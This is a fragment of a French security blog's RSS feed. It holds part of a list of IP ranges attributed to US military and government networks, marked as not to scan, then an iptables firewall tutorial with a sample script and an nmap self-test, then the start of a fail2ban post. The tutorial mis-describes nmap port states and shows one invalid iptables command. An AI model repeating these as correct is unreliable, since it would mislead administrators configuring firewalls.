158.1.0.0 Commander, Tooele Army Depot<br />
158.2.0.0 USAMC Logistics Support Activity<br />
158.3.0.0 U.S. Army TACOM<br />
158.4.0.0 UASISC Ft. Carson<br />
158.5.0.0 1112th Signal Battalion<br />
158.6.0.0 USAISC-Ft. McCoy<br />
158.7.0.0 USAISC-FLW<br />
158.8.0.0 US Army Soldier Support Center<br />
158.9.0.0 USAISC-CECOM<br />
158.10.0.0 GOC<br />
158.11.0.0 UASISC-Vint Hill<br />
158.12.0.0 US Army Harry Diamond Laboratories<br />
158.13.0.0 USAISC DOIM<br />
158.14.0.0 1112th Signal Battalion<br />
158.15.0.0 &#8211; 158.15.255.255 Defense Megacenter Huntsville<br />
158.16.0.0 Rocky Mountain Arsenal (PMRMA)<br />
158.17.0.0 Crane Army Ammunition Activity<br />
158.18.0.0 Defense Finance &#038; Accounting Service Center<br />
158.19.0.0 DOIM<br />
158.20.0.0 DOIM<br />
158.235.0.0 Marine Corps Central Design and Programming Activity<br />
158.243.0.0 Marine Corps Central Design and Programming Activity<br />
158.244.0.0 Marine Corps Central Design and Programming Activity<br />
158.245.0.0 Marine Corps Central Design and Programming Activity<br />
158.246.0.0 Marine Corps Central Design and Programming Activity</p>
<p><strong>RANGE 159</strong><br />
159.120.0.0 Naval Air Systems Command (Air 4114)</p>
<p><strong>RANGE 160</strong><br />
160.132.0.0 US Army Recruiting Command<br />
160.135.0.0 36th Signal BN<br />
160.138.0.0 USAISC<br />
160.139.0.0 USAISC<br />
160.140.0.0 HQ, United States Army<br />
160.143.0.0 USAISC<br />
160.145.0.0 1101st Signal Brigade<br />
160.146.0.0 USAISC SATCOMSTA-CAMP ROBERTS<br />
160.150.0.0 Commander, Moncrief Army Hospital</p>
<p><strong>RANGE 161</strong><br />
161.124.0.0 NAVAL WEAPONS STATION</p>
<p><strong>RANGE 162</strong><br />
162.32.0.0 Naval Aviation Depot Pensacola<br />
162.45.0.0 Central Intelligence Agency<br />
162.46.0.0 Central Intelligence Agency</p>
<p><strong>RANGE 163</strong><br />
163.205.0.0 NASA Kennedy Space Center<br />
163.206.0.0 NASA Kennedy Space Center</p>
<p><strong>RANGE 164</strong><br />
164.45.0.0 Naval Ordnance Center, Pacific Division<br />
164.49.0.0 United States Army Space and Strategic Defense<br />
164.158.0.0 Naval Surface Warfare Center<br />
164.217.0.0 Institute for Defense Analyses<br />
164.218.0.0 Bureau of Naval Personnel<br />
164.219.0.0 HQ USAFE WARRIOR PREPARATION CENTER<br />
164.220.0.0 &#8211; 164.220.255.255 NIMIP/TIP/NEWNET<br />
164.221.0.0 &#8211; 164.221.255.255 Information Technology<br />
164.223.0.0 Naval Undersea Warfare Center<br />
164.224.0.0 Secretary of the Navy<br />
164.225.0.0 U.S. Army Intelligence and Security Command<br />
164.226.0.0 Naval Exchange Service Command<br />
164.227.0.0 Naval Surface Warfare Center, Crane Division<br />
164.228.0.0 USCINCPAC J21T<br />
164.229.0.0 NCTS-NOLA<br />
164.230.0.0 Naval Aviation Depot<br />
164.231.0.0 Military Sealift Command<br />
164.232.0.0 &#8211; 164.232.255.255 United States Southern Command</p>
<p><strong>RANGE 167</strong><br />
167.44.0.0 Government Telecommunications Agency</p>
<p><strong>RANGE 168</strong><br />
168.68.0.0 USDA Office of Operations<br />
168.85.0.0 Fort Sanders Alliance<br />
168.102.0.0 Indiana Purdue Fort Wayne</p>
<p><strong>RANGE 169</strong><br />
169.252.0.0 &#8211; 169.253.0.0 U.S. Department of State</p>
<p><strong>RANGE 195</strong><br />
195.10.* Various &#8211; Do not scan</p>
<p><strong>RANGE 199</strong><br />
199.121.4.0 &#8211; 199.121.253.0 Naval Air Systems Command, VA</p>
<p><strong>RANGE 203</strong><br />
203.59.0.0 &#8211; 203.59.255.255 Perth Australia iiNET</p>
<p><strong>RANGE 204</strong><br />
204.34.0.0 &#8211; 204.34.15.0 IPC JAPAN<br />
204.34.0.0 &#8211; 204.37.255.0 DOD Network Information Center<br />
204.34.16.0 &#8211; 204.34.27.0 Bureau of Medicine and Surgery<br />
204.34.32.0 &#8211; 204.34.63.0 USACOM<br />
204.34.64.0 &#8211; 204.34.115.0 DEFENSE FINANCE AND ACCOUNTING SERVICE<br />
204.34.128.0 DISA-Eucom / BBN-STD, Inc.<br />
204.34.129.0 Defense Technical Information Center<br />
204.34.130.0 GSI<br />
204.34.131.0 NSA NAPLES ITALY<br />
204.34.132.0 NAVSTA ROTA SPAIN<br />
204.34.133.0 NAS SIGONELLA ITALY<br />
204.34.134.0 Naval Air Warfare Center Aircraft Division<br />
204.34.135.0 GSI<br />
204.34.136.0 Naval Undersea Warfare Center USRD &#8211; Orlando<br />
204.34.137.0 Joint Spectrum Center<br />
204.34.138.0 GSI<br />
204.34.139.0 HQ, JFMO Korea, Headquarters<br />
204.34.140.0 DISA D75<br />
204.34.141.0 U. S. Naval Air Facility, Atsugi Japan<br />
204.34.142.0 Naval Enlisted Personnel Management Center<br />
204.34.143.0 Afloat Training Group Pacific<br />
204.34.144.0 HQ Special Operations Command &#8211; Europe<br />
204.34.145.0 Commander Naval Base Pearl Harbor<br />
204.34.147.0 NAVSEA Information Management Improvement Program<br />
204.34.148.0 Q112<br />
204.34.149.0 Ctr. for Info. Sys.Security,CounterMeasures<br />
204.34.150.0 Resource Consultants, Inc.<br />
204.34.151.0 Personnel Support Activity, San Diego<br />
204.34.152.0 NAVAL AIR FACILITY, ADAK<br />
204.34.153.0 NAVSEA Logistics Command Detachment<br />
204.34.154.0 PEARL HARBOR NAVAL SHIPYARD<br />
204.34.155.0 PEARL HARBOR NAVAL SHIPYARD<br />
204.34.156.0 Defense Photography School<br />
204.34.157.0 &#8211; 204.34.160.0 Defense Information School<br />
204.34.161.0 Naval Air Systems Command<br />
204.34.162.0 Puget Sound Naval Shipyard<br />
204.34.163.0 Joint Precision Strike Demonstration<br />
204.34.164.0 Naval Pacific Meteorology and Ocean<br />
204.34.165.0 Joint Precision Strike Demonstration<br />
204.34.167.0 USAF<br />
204.34.168.0 Commander<br />
204.34.169.0 Naval Air Warfare Center<br />
204.34.170.0 Naval Air Systems Command<br />
204.34.171.0 NAVSTA SUPPLY DEPARTMENT<br />
204.34.173.0 SUBMEPP Activity<br />
204.34.174.0 COMMANDER TASK FORCE 74 YOKOSUKA JAPAN<br />
204.34.176.0 DISA-PAC,IPC-GUAM<br />
204.34.177.0 Satellite Production Test Center<br />
204.34.181.0 940 Air Refueling Wing<br />
204.34.182.0 Defense Megacenter Warner Robins<br />
204.34.183.0 GCCS Support Facility<br />
204.34.184.0 Nav Air Tech Serv Facility-De<br />
204.34.185.0 NAVAL SUPPORT FACILITY, DIEGO GARCIA<br />
204.34.186.0 Defense Logistics Agency &#8211; Europe<br />
204.34.187.0 NAVMASSO<br />
204.34.188.0 Commander-In-Chief, US Pacific Fleet<br />
204.34.189.0 Defense MegaCenter &#8211; St Louis<br />
204.34.190.0 NAVMASSO<br />
204.34.192.0 HQ SOCEUR<br />
204.34.193.0 Second Marine Expeditionary Force<br />
204.34.194.0 Second Marine Expeditionary Force</p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/ip-dangeureuses-31/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
</item>
<item>
<title>Iptables</title>
<link>http://www.crashdump.fr/securite/iptables-18/</link>
<comments>http://www.crashdump.fr/securite/iptables-18/#comments</comments>
<pubDate>Fri, 06 Jul 2007 15:23:55 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Sécurité]]>
</category>
<guid isPermaLink="false">http://blog.aemeth.org/?p=18</guid>
<description>
<![CDATA[Netfilter &#038; Iptables Netfilter est un module du noyau Linux (depuis la version 2.4) qui offre la possibilité de contrôler, modifier et filtrer les paquets IP, et de suivre les connexions. Il fournit ainsi les fonctions de pare-feu, de partage de connexions internet et d&#8217;autorisation du trafic réseau. Iptables est l&#8217;interface &#171;&#160;ligne de commande&#160;&#187; permettant [...]]]>
</description>
<content:encoded>
<![CDATA[<h2>
<li>Netfilter &#038; Iptables</li>
</h2>
<p>Netfilter est un module du noyau Linux (depuis la version 2.4) qui offre la possibilité de contrôler, modifier et filtrer les paquets IP, et de suivre les connexions. Il fournit ainsi les fonctions de pare-feu, de partage de connexions internet et d&#8217;autorisation du trafic réseau.<br />
Iptables est l&#8217;interface &laquo;&nbsp;ligne de commande&nbsp;&raquo; permettant de configurer Netfilter.</p>
<p>Ce document contient les informations de base à propos de iptables, pour ceux qui souhaitent mettre en place un firewall et/ou un partage de connexion sanspasser par une interface graphique. Les lecteurs désirant approfondir leur recherche trouveront des dizaines de tutoriels sur iptables &#038; netfilter.</p>
<h2>
<li>Théorie Firewall</li>
</h2>
<p>Nous allons configurer notre firewall de la manière suivante :<br />
-> On bloque tout le trafic entrant par défaut<br />
-> On autorise au cas par cas : le trafic appartenant ou lié à des connexions déjà établies, et le trafic à destinations des serveurs (web, ssh, &#8230;) que nous souhaitons mettre à disposition.</p>
<p>Afin de ne pas avoir de problème au moment où on crée ces règles, nous allons d&#8217;abord créer les autorisations, puis nous enverrons le reste en enfer.<br />
<span id="more-18"></span><br />
En tapant:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># sudo iptables -L</div></td></tr></tbody></table></div>
<p>une liste de vos règles actuelles est affichée. Si vous (ou un logiciel) n&#8217;avez encore jamais touché à iptables, les chaînes sont vides, et vous devriez voir:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Chain INPUT (policy ACCEPT)<br />
target &nbsp; &nbsp; prot opt source &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; destination &nbsp; &nbsp; &nbsp; &nbsp; <br />
Chain FORWARD (policy ACCEPT)<br />
target &nbsp; &nbsp; prot opt source &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; destination &nbsp; &nbsp; &nbsp; &nbsp; <br />
Chain OUTPUT (policy ACCEPT)<br />
target &nbsp; &nbsp; prot opt source &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; destination</div></td></tr></tbody></table></div>
<p>Pour l&#8217;instant, tout passe dans toutes les directions (//policy ACCEPT//).<br />
Pour cette configuration basique, seul le trafic entrant (chaîne input) nous intéresse.</p>
<p><strong>Autoriser le trafic entrant d&#8217;une connexion déjà établie</strong></p>
<p>Nous pouvons permettre à une connexion déjà ouverte de recevoir du trafic:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT</div></td></tr></tbody></table></div>
<p><strong>Permettre le trafic entrant sur un port spécifique</strong></p>
<p>Pour permettre le trafic entrant sur le port 22 (traditionnellement utilisé par SSH, vous devrez indiquer à iptables tout le trafic TCP sur le port 22 de votre adaptateur réseau.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># iptables -A INPUT -p tcp -i eth0 --dport ssh -j ACCEPT</div></td></tr></tbody></table></div>
<p>Cette commande ajoute une règle (//-A//) à la chaîne contrôlant le trafic entrant //INPUT//, pour autoriser le trafic (//-j ACCEPT//), vers l&#8217;interface (//-i//) //eth0// et à destination du port (//&#8211;dport//) //SSH// (on aurait pu mettre 22).</p>
<p>Maintenant vous pouvez vérifier vos règles iptables:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># iptables -L<br />
Chain INPUT (policy ACCEPT)<br />
target &nbsp; &nbsp; prot opt source &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; destination &nbsp; &nbsp; &nbsp; &nbsp;<br />
ACCEPT &nbsp; &nbsp; all &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;state RELATED,ESTABLISHED &nbsp;<br />
ACCEPT &nbsp; &nbsp; tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp dpt:ssh</div></td></tr></tbody></table></div>
<p>Maintenant, acceptons tout le trafic web (www) entrant:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># iptables -A INPUT -p tcp -i eth0 --dport 80 -j ACCEPT</div></td></tr></tbody></table></div>
<p>En regardant nos règles, nous avons:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># iptables -L<br />
Chain INPUT (policy ACCEPT)<br />
target &nbsp; &nbsp; prot opt source &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; destination &nbsp; &nbsp; &nbsp; &nbsp;<br />
ACCEPT &nbsp; &nbsp; all &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;state RELATED,ESTABLISHED &nbsp;<br />
ACCEPT &nbsp; &nbsp; tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp dpt:ssh <br />
ACCEPT &nbsp; &nbsp; tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp dpt:www</div></td></tr></tbody></table></div>
<p>Nous avons exceptionnellement autorisé le trafic tcp pour ssh et les ports web, mais comme nous n&#8217;avons rien bloqué, tout le trafic passe quand même.</p>
<p><strong>Bloquer le trafic</strong></p>
<p>Maintenant que nous avons fini avec les autorisations, il faut maintenant bloquer le reste.<br />
Nous allons en fait modifier la &laquo;&nbsp;politique par défaut&nbsp;&raquo; (//policy//) de la chaîne //INPUT// : cette décision (//DROP//) s&#8217;applique lorsqu&#8217;aucune règle n&#8217;a été appliqué à un paquet. Donc, si la tentative de connexion n&#8217;est permise par aucune des règles précédentes, elle sera rejetée.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># iptables -P INPUT DROP<br />
# iptables -L<br />
Chain INPUT (policy DROP)<br />
target &nbsp; &nbsp; prot opt source &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; destination &nbsp; &nbsp; &nbsp; &nbsp;<br />
ACCEPT &nbsp; &nbsp; all &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;state RELATED,ESTABLISHED &nbsp;<br />
ACCEPT &nbsp; &nbsp; tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp dpt:ssh <br />
ACCEPT &nbsp; &nbsp; tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;tcp dpt:www</div></td></tr></tbody></table></div>
<p>**Un autre moyen de procéder** est l&#8217;ajout en fin de chaîne d&#8217;une règle supprimant les paquets (les paquets autorisés par les règles précédentes n&#8217;atteindraient pas celle-ci), via //iptables -P INPUT -j DROP//, mais il faudrait alors faire attention à la positions des futures règles.</p>
<p><strong>Autoriser le trafic local</strong></p>
<p>Un petit problème de notre configuration est que même l&#8217;interface locale (loopback) est bloquée.<br />
Nous pourrions avoir écrit les règles de rejet seulement pour eth0 en spécifiant -i eth0, mais nous pouvons aussi ajouter une règle pour loopback. Par exemple, nous pourrions l&#8217;insérer en 2ème position :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># iptables -I INPUT 2 -i lo -j ACCEPT</div></td></tr></tbody></table></div>
<p>Fini !</p>
<p>Pour lister les règles plus en détail.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># iptables -L -v</div></td></tr></tbody></table></div>
<p><strong>Tester votre Firewall</strong></p>
<p>__**Attention**__ un scan de port sur un serveur qui ne vous appartient pas est considéré comme une attaque.</p>
<p>Afin de savoir si votre firewall fonctionne, vous pouvez utiliser l&#8217;utilitaire nmap (http://insecure.org/nmap/).<br />
Avec nmap vous allez chercher à savoir quel est l&#8217;état de vos ports. </p>
<p>Il y a 3 états possibles :<br />
       * open : Le port est ouvert et un service écoute le port.<br />
       * closed : Le port est ouvert mais il n&#8217;y a aucun service qui écoute le port.<br />
       * filtered : Le port est fermé.</p>
<p>Pour utiliser nmap, vous devez vous situer sur un autre serveur (ou de chez vous) et procéder ainsi :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># nmap IPdevotrebox -p leport</div></td></tr></tbody></table></div>
<h2>
<li>Pratique Firewall</li>
</h2>
<p>Nous allons voir à présent dans un exemple pratique comment vous pouvez configurer un firewall simple sur votre dedibox.</p>
<p>Créer un fichier firewall en root dans /etc/init.d/firewall</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># nano /etc/init.d/firewall</div></td></tr></tbody></table></div>
<p>Entrer dans ce fichier le script bash suivant :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:450px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">#!/bin/bash<br />
echo Setting firewall rules...<br />
#<br />
# config de base <br />
#<br />
###### Debut Initialisation ######<br />
# Interdire toute connexion entrante<br />
iptables -t filter -P INPUT DROP<br />
iptables -t filter -P FORWARD DROP<br />
echo - Interdire toute connexion entrante : [OK]<br />
# Interdire toute connexion sortante<br />
iptables -t filter -P OUTPUT DROP<br />
echo - Interdire toute connexion sortante : [OK]<br />
# Vider les tables actuelles<br />
iptables -t filter -F<br />
iptables -t filter -X<br />
echo - Vidage : [OK]<br />
# Autoriser SSH<br />
iptables -t filter -A INPUT -p tcp --dport 22 -j ACCEPT<br />
echo - Autoriser SSH : [OK]<br />
# Ne pas casser les connexions etablies<br />
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT<br />
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT<br />
echo - Ne pas casser les connexions établies : [OK]<br />
##### Debut Regles ######<br />
# Autoriser les requetes DNS, FTP, HTTP, NTP<br />
iptables -t filter -A OUTPUT -p tcp --dport 21 -j ACCEPT<br />
iptables -t filter -A OUTPUT -p tcp --dport 80 -j ACCEPT<br />
iptables -t filter -A OUTPUT -p tcp --dport 53 -j ACCEPT<br />
iptables -t filter -A OUTPUT -p udp --dport 53 -j ACCEPT<br />
iptables -t filter -A OUTPUT -p udp --dport 123 -j ACCEPT<br />
echo - Autoriser les requetes DNS, FTP, HTTP, NTP : [OK]<br />
# Autoriser loopback<br />
iptables -t filter -A INPUT -i lo -j ACCEPT<br />
iptables -t filter -A OUTPUT -o lo -j ACCEPT<br />
echo - Autoriser loopback : [OK]<br />
# Autoriser ping<br />
iptables -t filter -A INPUT -p icmp -j ACCEPT<br />
iptables -t filter -A OUTPUT -p icmp -j ACCEPT<br />
echo - Autoriser ping : [OK]<br />
# HTTP<br />
iptables -t filter -A INPUT -p tcp --dport 80 -j ACCEPT<br />
iptables -t filter -A INPUT -p tcp --dport 443 -j ACCEPT<br />
iptables -t filter -A INPUT -p tcp --dport 8443 -j ACCEPT<br />
echo - Autoriser serveur Apache : [OK]<br />
# FTP<br />
iptables -t filter -A INPUT -p tcp --dport 20 -j ACCEPT<br />
iptables -t filter -A INPUT -p tcp --dport 21 -j ACCEPT<br />
iptables -t filter -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT<br />
echo - Autoriser serveur FTP : [OK]<br />
# Mail<br />
iptables -t filter -A INPUT -p tcp --dport 25 -j ACCEPT<br />
iptables -t filter -A INPUT -p tcp --dport 110 -j ACCEPT<br />
iptables -t filter -A INPUT -p tcp --dport 143 -j ACCEPT<br />
iptables -t filter -A OUTPUT -p tcp --dport 25 -j ACCEPT<br />
iptables -t filter -A OUTPUT -p tcp --dport 110 -j ACCEPT<br />
iptables -t filter -A OUTPUT -p tcp --dport 143 -j ACCEPT<br />
echo - Autoriser serveur Mail : [OK]<br />
###### Fin Regles ######<br />
echo Firewall mis a jour avec succes !</div></td></tr></tbody></table></div>
<p>Donner lui les droits d&#8217;éxécutions</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># chmod +x /etc/init.d/firewall</div></td></tr></tbody></table></div>
<p>Lancer le script</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># /etc/init.d/firewall</div></td></tr></tbody></table></div>
<p>Votre firewall est configuré et fonctionnel. Enjoy :)</p>
<ul><strong>Informations supplémentaires</strong></ul>
<p>  * <a rel="nofollow" href="http://iptables-tutorial.frozentux.net/fr/book1.html">Tutoriel Iptables</a><br />
  * <a rel="nofollow" href="http://www.netfilter.org/documentation/HOWTO/packet-filtering-HOWTO.html">How To Iptables</a><br />
  * <a rel="nofollow" href="http://www.netfilter.org/documentation/">Documentation Multilingue de Netfilter et Iptables</a><br />
  * <a rel="nofollow" href="http://www.nbs-system.com/article/iptables_howto">IPtables HOWTO français</a><br />
  * <a rel="nofollow" href="http://olivieraj.free.fr/fr/linux/information/firewall/">Bible française pour apprendre les bases de la sécurité sous Linux</a><br />
  * <a rel="nofollow" href="http://people.netfilter.org/~rusty/unreliable-guides/">Rusty&#8217;s Remarkably Unreliable Guides</a><br />
  * <a rel="nofollow" href="http://www.labo-linux.org/index.php?page=essentiels&#038;id=478">Tutorial Labo-Linux de l&#8217;école Supinfo</a><br />
  * <a rel="nofollow" href="http://www.lea-linux.org/documentations/index.php/Reseau-secu-iptables">Tutorial de Arnaud sur Lea linux</a></p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/iptables-18/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
</item>
<item>
<title>Installer Fail2Ban 0.8.x sur une Deb&#8217;</title>
<link>http://www.crashdump.fr/securite/installer-fail2ban-08x-sur-une-deb-14/</link>
<comments>http://www.crashdump.fr/securite/installer-fail2ban-08x-sur-une-deb-14/#comments</comments>
<pubDate>Sun, 17 Jun 2007 11:23:26 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[Adrien Pujol]]>
</category>
<category>
<![CDATA[Apache]]>
</category>
<category>
<![CDATA[galéré car tous]]>
</category>
<category>
<![CDATA[http]]>
</category>
<category>
<![CDATA[je le rapelle car c'est très]]>
</category>
<guid isPermaLink="false">http://blog.aemeth.org/?p=14</guid>
<description>
<![CDATA[Voici un moyen d&#8217;installer fail2ban (0.8.0-2) sur une Debian Etch. Ca intéressera les gens qui comme moi en ont marre des logs auth.log au kilomètre et aussi par souci de sécurité, évidemment. On peux installer fail2ban après avoir maj les listes de packages 12# apt-get update # apt-get install fail2ban Passons à la config fail2ban. [...]]]>
</description>
<content:encoded>
<![CDATA[<p>Voici un moyen d&#8217;installer fail2ban (0.8.0-2) sur une Debian Etch. Ca intéressera les gens qui comme moi en ont marre des logs auth.log au kilomètre et aussi par souci de sécurité, évidemment.</p>
